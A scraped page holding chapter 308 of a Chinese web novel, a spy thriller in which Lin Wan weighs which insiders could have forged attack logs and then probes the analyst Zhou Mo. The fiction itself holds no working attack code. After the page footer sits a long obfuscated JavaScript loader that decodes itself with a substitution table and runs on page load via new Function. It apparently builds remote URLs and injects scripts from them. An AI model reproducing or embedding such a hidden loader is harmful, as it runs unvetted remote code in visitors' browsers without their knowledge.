首页
第308章 能力匹配:阿九、
返回
关灯 护眼:关 字号:小

第308章 能力匹配:阿九、0号、及第三人

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第308章能力匹配:阿九、0号、及第三人(第1/2页)
    苏瑾提供的关于“三年前国际网络安全挑战赛匿名参赛队”的模糊线索,像一颗投入深潭的石子,在林晚心中漾开一圈圈疑虑的涟漪。这线索太过微弱,5%的相似度,几乎可以忽略不计,但出现在被深度清洗过的日志残留中,又显得格外突兀,仿佛伪造者百密一疏,留下了一个极其隐晦的签名。
    林晚无法判断这是刻意留下的误导,还是无意中暴露的痕迹。但无论如何,这为她“内部排查、技术匹配”的思路,提供了一个新的、或许可以追溯的切入点。三年前,匿名参赛队,自定义工具……这些关键词,让她想起了父亲林振海书房里堆积如山的旧资料中,似乎有一些关于历届顶级网络安全赛事的技术分析和参赛者观察笔记。父亲虽然不是职业黑客,但对这个圈子保持着浓厚的兴趣和相当的了解,将其视为理解前沿技术和潜在威胁的窗口。
    或许,在那些故纸堆里,能找到关于那支匿名队伍,或者类似技术风格的蛛丝马迹。
    但安全屋内没有父亲的资料。她需要借口离开,返回苏黎世的故居,或者至少是能够安全访问父亲数字遗产的地方。这需要计划,也需要合适的时机。在“棋手”内部可能潜伏着“幽灵”的情况下,任何异常举动都可能引起注意。
    她暂时按捺下这个念头,将注意力重新拉回到当前最紧迫的问题上:基于阿九和苏瑾提供的技术特征,对“棋手”内部可能具备相应能力的人员进行匹配分析。
    她重新摊开那张写有名单的纸,在旁边新建了一个列表,写下从报告中提取出的几个关键技术特征点:
    1.攻击手法特征:与“织网人”组织高度相似(阿九报告)。需要熟悉或能模仿“织网人”的惯用手法、工具链和攻击模式。
    2.编译器特征:攻击载荷中残留的特定版本C++编译器、特定优化选项下的字节对齐特征(阿九报告)。这是更个人化或团队化的工具链痕迹。
    3.日志伪造精度:能完美伪造特定协议数据包,模拟网络延迟和抖动,嵌入真实日志背景,并留下“128.571毫秒”这种非自然的规律间隔。需要顶尖的网络协议分析和数据伪造能力。
    4.路径设计与反追踪:七次跳转,多国节点,巧妙利用漏洞和路由策略,强大的反追踪能力。需具备深厚的网络工程、渗透测试和匿名网络知识。
    5.可能的旧工具痕迹:与三年前某匿名参赛队自定义加密工具存在低匹配度特征(苏瑾信息)。
    6.对“棋手”内部的了解与利用:可能利用或伪装利用了“棋手”内部西欧备用节点的特征(阿九推测)。需要对“棋手”内部网络架构、节点部署、安全策略有相当了解。
    7.精确掌握格陵兰行动时间线。
    林晚开始逐一比对名单上的人选:
    阿九:
    能力匹配度:极高。攻击手法、编译器特征、日志伪造、路径设计、反追踪……所有这些技术领域,阿九都毫无疑问是“棋手”内部的天花板,甚至在全球范围内都属顶尖。她完全有能力独立完成整个攻击。她熟悉“棋手”内部网络(很可能包括备用节点),知晓格陵兰行动时间线(技术支援)。她也完全有能力模仿“织网人”风格,或者她本身就与某些匿名黑客圈子有交集(苏瑾提到的匿名参赛队,阿九这种级别的高手很可能知晓甚至参与过)。她是技术层面最匹配的人。
    矛盾点:动机不明,且她主动提供了指出日志伪造和内部疑点的报告。如果她是“幽灵”,此举风险极高,逻辑上存在巨大矛盾。除非是极其复杂的双重算计,或者她有不得不这样做的理由(如被胁迫但暗中传递信号?但报告内容对她作为“幽灵”的指控不利)。
    结论:技术能力完全吻合,行为动机存在重大疑点。不能排除,但需要解释其矛盾行为。
    0号:
    能力匹配度:未知,但可调动资源极高。0号本人具体技术能力不详,但作为“棋手”首领,他能够调动的技术资源是顶级的。他完全可以命令或雇佣拥有上述所有技术能力的人(包括阿九或外部高手)来执行。他拥有对“棋手”内部所有资源(包括备用节点)的最高权限和了解。他当然精确掌握格陵兰行动时间线。动机上,如果他要清除陆沉舟或进行某种内部清洗,具备合理性。
    矛盾点:暂无直接技术特征指向0号本人。如果是他主导,具体执行者的技术特征(如编译器特征、旧工具痕迹)可能与执行者本人关联更强,而非0号。
    结论:具备所有条件和动机,是可能性极高的“主导者”,但需要找到他与具体技术特征或执行者的关联。
    陈烬:
    能力匹配度:中。陈烬本人是行动派,技术能力应不及阿九,但作为行动总负责人,他有权接触和指挥“棋手”的技术团队。他可能通过手下技术专家来实施。他知晓格陵兰行动所有细节和时间线,能接触内部资源。动机可能存在(与陆沉舟的权力斗争或其他)。
    矛盾点:需要找到他直接指挥或授意技术团队进行此类攻击的证据,且要解释为何攻击手法会带有“织网人”或特定个人/团队的技术特征(除非他手下恰好有这样的人)。
    结论:有条件实施,是可能的“指使者”,但需间接通过技术团队。
    陆沉舟:
    能力匹配度:未知。其父亲是传奇黑客,他可能继承部分知识、工具甚至人脉。有能力伪造日志(如果技术足够)并知晓自己父亲服务器的细节。知晓格陵兰行动时间线。如果是“观棋不语”,动机是自导自演获取信任或制造混乱。但他如何能利用或伪装利用“棋手”内部节点特征?如果他是“幽灵”,则其演技和心理素质堪称恐怖。
    矛盾点:缺乏其具备顶尖黑客能力的直接证据。如果是他,需要解释“织网人”风格和内部节点特征如何实现。
    结论:技术能力存疑,动机复杂,不能完全排除但缺乏支撑。
    母亲叶瑾:
    能力匹配度:低(个人),高(背后团队)。叶瑾个人技术能力非顶尖,但她背后可能有“隐门”的技术团队支持。“隐门”完全可能拥有具备上述所有技术能力的专家,甚至可能直接与“织网人”有关联。叶瑾是证据传递者,动机充分。但“隐门”如何精确掌握“棋手”格陵兰行动时间线?如何能利用或伪造“棋手”内部节点特征?可能需要内部配合。
    矛盾点:依赖外部团队,需要解释内部情报来源。
    结论:是重要的“执行终端”或“传递者”,背后团队技术能力匹配,但需内部配合。
    其他技术人员(“棋手”内部可能存在的、不显山露水的高手):
    能力匹配度:未知,需排查。“棋手”组织庞大,除了阿九,很可能还有其他隐藏的技术高手。他们可能符合部分或全部技术特征,也可能与“织网人”或三年前的匿名参赛队有关联。他们对内部网络的了解程度可能因权限而异。动机可能多样(被收买、胁迫、理念等)。
    结论:这是目前最大的未知数,也是林晚最难调查的盲区。
    分析下来,阿九在技术层面匹配度最高,但行为矛盾;0号和陈烬有条件实施,但缺乏直接技术关联;陆沉舟和叶瑾可能性存在,但各有解释难点;而“其他技术人员”则是潜在的X因素。
    或许,不是单人作案,而是组合。林晚的笔尖在“0号/陈烬”和“阿九/其他技术高手”之间划了连线,又在“叶瑾”和“外部团队(如织网人)”之间划了连线。内部高层(0号或陈烬)提供情报、权限和动机,内部或外部技术高手(可能是阿九,也可能是隐藏的其他人)负责实施伪造和攻击,最终通过叶瑾(或“隐门”渠道)将证据传递给林晚。这样,技术特征、内部情报、传递链条就都串联起来了。
    但阿九如果是执行者,为何要主动提交那份揭示问题的报告?除非……她是在某种胁迫下执行,事后又感到后悔或恐惧,试图以这种方式发出警告?或者,报告本身也是计划的一部分,为了取得林晚更深的信任?
    林晚感到一阵眩晕。可能性太多,组合方式也太多,每一种似乎都能自圆其说,又都缺乏决定性的证据。
    她需要更具体的信息,关于“棋手”内部除了阿九之外,还有哪些技术高手,特别是那些可能符合“织网人”风格或“三年前匿名参赛队”特征的人。她无法直接去问陈烬或0号,那等于自曝其短。
    她想到了一个人——周墨。
    周墨是“棋手”的战术分析师,主要负责行动策划、情报分析和风险评估。他并非纯粹的技术人员,但他长期在技术部门和战术部门之间协调,对“棋手”内部的技术人员构成、项目分工应该有相当的了解。而且,周墨性格相对温和,与林晚有过几次合作,彼此印象不算差。最重要的是,周墨的职责是分析,他或许能从已有线索中,提供一些关于内部技术人员背景的、不带立场的视角。
    当然,联系周墨同样有风险。周墨是否可信?他会不会是“幽灵”之一?但林晚现在没有更好的选择。与直接询问高层或技术人员相比,向战术分析师咨询“技术特征匹配”的问题,显得更自然,也更不容易引起过度警觉。她可以借口需要评估潜在对手(比如“织网人”)的技术风格对“棋手”内部安全的可能影响,来旁敲侧击。
    她需要设计一套说辞,既能从周墨那里获取信息,又不会暴露她真正的调查目的和阿九、苏瑾提供的秘密报告。
    就在林晚凝神思考如何与周墨接触时,安全屋的门铃响了。不是预设的紧急信号,只是普通的来访提示。
    林晚心头一紧,迅速收起桌上的纸张,走到门禁监视器前。屏幕上出现的人,让她微微一愣。
    (本章未完,请点击下一页继续阅读)第308章能力匹配:阿九、0号、及第三人(第2/2页)
    是周墨。
    他独自一人,穿着平常的休闲外套,手里拿着一个平板电脑,表情看起来有些凝重,但并无异常。他似乎只是例行前来,或许是传递什么信息,或许是进行战术讨论。
    林晚的心跳微微加速。她刚想到他,他就出现了。这是巧合,还是……
    她深吸一口气,整理了一下表情,按下通话键:“周墨?有事吗?”
    “林晚,方便吗?有些……关于后续行动方向的初步评估,想和你沟通一下。”周墨的声音透过扬声器传来,平静如常。
    林晚犹豫了一瞬。她正在怀疑内部有鬼,而周墨此刻的到访,是否在监控之中?他的到来本身,是否意味着什么?但转念一想,如果一直避而不见,反而显得可疑。或许,这正是试探周墨的时机,在相对自然的交流中,观察他的反应,并尝试获取信息。
    “稍等。”她说道,转身快速检查了一下房间,确认没有留下明显痕迹,然后走到门边,打开了门。
    “抱歉突然来访,”周墨站在门口,点了点头,脸上带着惯常的、略显书卷气的微笑,“有些分析需要当面沟通更清楚。”
    “进来吧。”林晚侧身让他进来,目光不经意地扫过他手中的平板和他身后的走廊。走廊空无一人。
    周墨走进客厅,很自然地坐在沙发上,将平板放在茶几上。“是关于‘隐门’可能对我们在欧洲几处安全屋进行反制行动的推演。陈烬让我先和你通个气,看看你的想法。”
    原来是公事。林晚稍稍放松了一丝警惕,但并未完全打消疑虑。她在周墨对面坐下,保持着适当的距离。“好,你说。”
    周墨打开平板,调出几张地图和示意图,开始讲解他的推演分析。他的思路清晰,逻辑严密,考虑到了多种可能性,与往常并无二致。
    林晚一边听着,一边观察着他。周墨的言行举止自然,眼神专注,看不出任何心虚或异样。但越是这样,林晚心中那份疑虑的种子,反而在悄悄生长。一个能完美隐藏的“幽灵”,必然拥有极佳的心理素质和演技。
    “基本情况就是这样,”周墨讲解完毕,看向林晚,“你觉得呢?有没有我遗漏的地方,或者你觉得需要特别注意的风险点?”
    林晚沉吟片刻,决定开始她的试探。她没有直接询问内部技术人员,而是选择了一个更迂回的方式。
    “你的推演很周全,”林晚先肯定了周墨的工作,然后话锋一转,“不过,我在想另一个问题。这次格陵兰行动,我们在技术对抗层面似乎没有遇到‘隐门’预想中的强力阻击。是‘隐门’在技术防御上存在短板,还是……他们采用了更隐蔽的方式,比如,更侧重于对我们的内部通讯或系统进行渗透和干扰?”
    她将问题引向技术层面,并隐含了“内部可能被渗透”的担忧。
    周墨推了推眼镜,思考了一下,说:“你的顾虑有道理。根据事后的初步复盘,我们在行动中的通讯加密和系统防护确实承受了远超以往的压力测试值,但都被阿九的团队挡下来了。‘隐门’在技术攻防上投入的资源一直很庞大,这次没有造成实质性破坏,可能有多方面原因,比如我们准备充分,或者他们的主要攻击方向不在这里。”
    “阿九的团队确实很强,”林晚顺着他的话,看似随意地感慨,“有她在,技术层面似乎总能让人放心。不过,‘隐门’那边,还有像‘织网人’那种级别的组织,他们的技术风格和攻击模式,我们这边除了阿九,还有其他人有深入研究吗?我父亲以前提过,‘织网人’的手法很有特点,但也变化多端,需要有专人长期跟踪分析才行。”
    她提到了“织网人”,并询问除了阿九之外,是否还有其他人研究。这是一个自然的、符合她当前“关心技术对抗”身份的问题。
    周墨闻言,点了点头:“‘织网人’确实是重点监控对象。主要是阿九在负责跟踪分析,她建立了一套特征库。另外,技术部那边还有两个资深的分析师,也会协助做一些基础性的模式识别和情报整理。不过要说深度研究和对抗,确实还是阿九为主力。”
    “这样啊,”林晚露出若有所思的表情,“那类似‘织网人’这种级别的黑客团队,应该不多吧?国际上知名的也就那么几个。对了,我好像记得几年前,有个很有名的国际网络安全挑战赛,有一支匿名队伍表现非常抢眼,手法也很独特,后来好像就没消息了。不知道那支队伍和‘织网人’有没有关联,或者,我们有没有关注过那类独立的高手或小团体?”
    她终于将话题引向了“三年前的匿名参赛队”,并观察着周墨的反应。
    周墨的目光在平板屏幕上停留了一瞬,似乎在回忆,然后说道:“你说的是三年前在蒙特利尔举办的那届‘黑盾’挑战赛吧?我记得那支匿名队伍,代号好像是‘幽灵棱镜’(PhantomPri**)?他们确实很厉害,尤其是在协议伪造和路径隐匿方面,拿下了几个关键赛题。赛后就像人间蒸发了一样,没留下任何真实身份信息。至于他们和‘织网人’有没有关系……这个没有确凿证据。阿九分析过他们的解题思路和工具特征,认为有部分相似性,但不足以断定是同一批人。毕竟,顶尖黑客圈子有时候会互相借鉴和学习,风格有重叠也不奇怪。”
    周墨的回答流畅自然,不仅确认了那场比赛和那支队伍的存在,还提供了更多细节(代号“幽灵棱镜”),甚至提到了阿九做过分析。这听起来合情合理,没有任何破绽。
    “原来阿九已经分析过了,”林晚点点头,语气略带钦佩,“她真是见多识广。那支队伍用的工具听说很特别,是自研的?”
    “嗯,是的,”周墨拿起水杯喝了一口,“他们有几个赛题的解题工具是自研的,据说用了很巧妙的算法和混淆技术,赛后很多人想逆向都没成功。阿九当时也很感兴趣,试图还原过一部分,但核心部分保护得很好。怎么突然问起这个?”
    最后一句话,周墨的语气依旧平和,像是随口一问,但林晚的心却微微提了起来。她笑了笑,掩饰道:“没什么,就是突然想起来。我父亲以前好像提过一嘴,说那支队伍的风格很有意思,可能代表了某种新的技术趋势。我在想,如果‘隐门’能招揽到这种级别的高手,对我们的威胁会不会更大。”
    “这倒是,”周墨表示赞同,“不过那种级别的独立高手,通常不太愿意受大组织约束。‘隐门’能招揽到‘织网人’已经很难得了。当然,我们也不能掉以轻心。”
    谈话似乎又回到了公事公办的轨道。周墨没有表现出任何异常,对“幽灵棱镜”队伍的了解也符合他作为战术分析师的知识储备。但林晚心中的疑虑并未完全消除。周墨的回答太自然、太全面了,仿佛早有准备。而且,他提到了阿九对“幽灵棱镜”做过分析——这或许能解释为什么苏瑾发现的痕迹会和阿九扯上关系(如果阿九研究过他们的工具),但反过来,如果阿九有问题,她完全可以在分析时做手脚,或者,周墨此刻提到阿九,是否在有意无意地将线索引向阿九?
    林晚感到自己仿佛陷入了一个更复杂的思维迷宫。每个人都看似正常,每句话都合乎逻辑,但背后可能隐藏着无数种可能性。
    “对了,”周墨似乎想起了什么,收起平板,语气稍微严肃了一些,“还有一件事。陈烬让我提醒你,近期尽量不要单独行动,也不要轻易相信未经确认的情报来源。内部……最近可能有些不稳定,有些流言在传。你自己多小心。”
    内部不稳定?流言?林晚心中一凛。周墨是在暗示什么吗?还是这只是例行公事的警告?
    “流言?关于什么的?”林晚试探道。
    周墨摇摇头,没有明说:“都是些没根据的猜测,关于格陵兰行动的一些细节,还有后续的处理。总之,你多留个心眼,保护好自己。有任何不对劲,及时联系我或者陈烬。”
    说完,他站起身,准备告辞。
    林晚也站起来,送他到门口。在周墨转身离开前,她忽然问了一句,语气随意,目光却紧紧锁住他的侧脸:“周墨,以你的了解,如果……我是说如果,‘棋手’内部真的有人被渗透了,你觉得会是谁?或者说,什么样的人,最有可能?”
    周墨的脚步顿了一下,没有立刻回头。过了几秒钟,他才慢慢转过身,脸上的笑容有些淡,眼神里带着一丝复杂的情绪,他看着林晚,缓缓说道:
    “林晚,有时候,最不可能的人,往往最有可能。而看起来最有可能的……反而可能是被推出来的靶子。真相,往往藏在你看不见的地方。保护好你自己,别轻易相信任何人,包括……我。”
    说完,他不再停留,转身走进了走廊的阴影中。
    林晚站在门口,看着周墨的背影消失在转角,心中波澜起伏。周墨最后那句话,是什么意思?是忠告,是警告,还是……某种暗示?
    最不可能的人?看不见的地方?
    她关上门,背靠着冰冷的门板,缓缓吐出一口气。周墨的来访,不仅没有打消她的疑虑,反而让她觉得,这潭水,比她想象的还要深,还要浑。
    能力匹配的名单上,阿九、0号、陈烬、陆沉舟、母亲叶瑾……现在,或许还要加上一个,看似温和无害、却仿佛知道些什么的战术分析师——周墨。
    第三人,会是他吗?还是说,他仅仅是察觉到了异常,出于好意给予提醒?
    林晚走回桌前,看着纸上那些名字,在“周墨”两个字旁边,画上了一个重重的问号。
    信任已然崩塌,每个人脸上都仿佛戴着面具。而她,必须在这真假难辨的迷局中,找出那张唯一真实的,或许也是最狰狞的脸孔。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();